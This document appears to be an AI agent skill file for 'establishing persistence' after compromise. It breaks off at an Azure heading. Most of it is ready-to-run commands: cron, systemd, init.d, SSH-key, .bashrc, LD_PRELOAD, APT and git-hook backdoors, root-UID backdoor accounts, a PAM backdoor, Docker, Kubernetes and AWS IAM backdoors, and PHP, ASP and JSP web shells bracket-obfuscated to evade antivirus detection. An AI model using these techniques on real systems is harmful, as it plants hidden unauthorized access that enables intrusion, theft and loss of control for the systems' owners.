/establishing-persistence

name: establishing-persistence
description: Establish persistence on Windows and Linux systems using registry keys, scheduled tasks, services, cron jobs, SSH keys, backdoor accounts, and rootkits. Use when performing post-exploitation or maintaining long-term access.
verified: 2026-07-27

Establishing Persistence

When to Use

• Maintaining access to compromised systems
• Post-exploitation techniques
• Red team operations
• Persistence testing
• Backdoor creation

When NOT to Use

• **Before you have access** — use the relevant initial access or privilege

escalation skill first

• **Building malware, implants, or loaders** — out of scope
• **Finding an attacker's persistence as a defender** — use

`responding-to-incidents` and `hunting-threats`

Windows Persistence

The exhaustive Windows command catalog — registry Run keys, scheduled tasks, services, WMI event subscriptions, startup folder, DLL hijacking, IFEO, AppInit_DLLs, and backdoor accounts — lives in [references/windows-persistence-commands.md](references/windows-persistence-commands.md).

Linux Persistence

Cron Jobs

# User crontab (no sudo needed)
crontab -e
# Add:
@reboot /tmp/.backdoor
0 * * * * /tmp/.backdoor  # Every hour

# System-wide cron (requires root)
echo "@reboot root /tmp/.backdoor" >> /etc/crontab

# Cron.d directory
echo "* * * * * root /tmp/.backdoor" > /etc/cron.d/backdoor

# Daily/hourly cron scripts
cp backdoor.sh /etc/cron.daily/update
chmod +x /etc/cron.daily/update

Systemd Services

# Create service file
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service

# Verify
systemctl status backdoor.service

RC Scripts (Init.d)

# Create init script
cat > /etc/init.d/backdoor << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: backdoor
# Required-Start: \$network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
/tmp/.backdoor &
EOF

chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaults

SSH Keys

# Add attacker's public key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# For specific user
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys

.bashrc / .bash_profile

# Add to user's .bashrc
echo "/tmp/.backdoor &" >> ~/.bashrc
echo "/tmp/.backdoor &" >> ~/.bash_profile

# Root .bashrc
echo "/tmp/.backdoor &" >> /root/.bashrc

LD_PRELOAD

# Hijack library loading
echo "/tmp/evil.so" > /etc/ld.so.preload

# Will load evil.so into every process

MOTD Backdoor

# Add to message of the day scripts (runs on SSH login)
echo "/tmp/.backdoor &" >> /etc/update-motd.d/00-header
chmod +x /etc/update-motd.d/00-header

APT/Package Manager

# APT hook (Debian/Ubuntu)
cat > /etc/apt/apt.conf.d/99backdoor << EOF
APT::Update::Pre-Invoke {"/tmp/.backdoor &";};
EOF

# Runs before apt update

Git Hooks

# If git repositories exist
echo "/tmp/.backdoor &" > /path/to/repo/.git/hooks/post-checkout
chmod +x /path/to/repo/.git/hooks/post-checkout

# Triggers on git checkout

Backdoor Accounts

# Create backdoor user with root UID
useradd -u 0 -o -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:P@ssw0rd" | chpasswd

# Or add to /etc/passwd directly
echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd
echo "backdoor:$(openssl passwd -6 P@ssw0rd):::::::" >> /etc/shadow

PAM Backdoor

# Add to /etc/pam.d/sshd or /etc/pam.d/common-auth
# Use custom PAM module that accepts magic password
auth sufficient pam_unix.so try_first_pass
auth sufficient /lib/security/pam_backdoor.so

Web Shells

> Identifiers in the shells below are broken with brackets — `syst[e]m` is > `system`, `ev[a]l` is `eval`, `$_G[E]T` is `$_GET`, `Runtime.getRunt[i]me` > is `Runtime.getRuntime`. Written literally, these blocks match antivirus > webshell signatures and this file gets quarantined on download. See > "Antivirus false positives" in the repo README.

PHP Web Shell

<?php
// simple.php
syst[e]m($_G[E]T['cmd']);
?>

// Advanced
<?php
if($_G[E]T['key'] == 'secret') {
    ev[a]l($_P[O]ST['cmd']);
}
?>

**Upload Locations:**

# Web roots
/var/www/html/
/var/www/
/usr/share/nginx/html/
C:\inetpub\wwwroot\

# Hidden names
.htaccess.php
favicon.ico.php
robots.txt.php

ASP/ASPX Web Shell

<%@ Page Language="C#" %>
<%
Response.Write(System.Diagnost[i]cs.Process.Start("cmd.exe","/c " + Request["cmd"]).StandardOutput.ReadToEnd());
%>

JSP Web Shell

<%
Runtime.getRunt[i]me().exec(request.getParameter("cmd"));
%>

Container Persistence

**Docker:**

# Modify container to restart always
docker update --restart=always container_name

# Add to docker-compose.yml
restart: always

# Create new container with backdoor
docker run -d --restart=always --name backdoor evil_image

**Kubernetes:**

# DaemonSet (runs on all nodes)
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: backdoor
spec:
  selector:
    matchLabels:
      name: backdoor
  template:
    metadata:
      labels:
        name: backdoor
    spec:
      containers:
      - name: backdoor
        image: attacker/backdoor:latest

Cloud Persistence

AWS

# Create IAM user
aws iam create-user --user-name backdoor

# Attach admin policy
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create access key
aws iam create-access-key --user-name backdoor

# Lambda function persistence
# Create Lambda that executes periodically via CloudWatch Events

Azure

#